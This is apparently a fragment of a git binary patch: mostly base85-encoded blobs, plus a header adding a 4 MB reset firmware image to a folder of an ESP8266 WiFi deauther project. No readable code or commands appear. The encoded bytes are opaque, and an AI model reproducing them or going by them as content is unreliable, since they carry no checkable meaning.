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 QGwzMpThpmzp7Nvr1-Aliz5oCK literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/reset_4mb.bin b/enp8266/esp8266_deauther-master/Reset_Sketch/reset_4mb.bin new file mode 100755 index 0000000000000000000000000000000000000000..764db0874b9ccf5e675c979187683ecb762b8fec GIT binary patch literal 238144 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 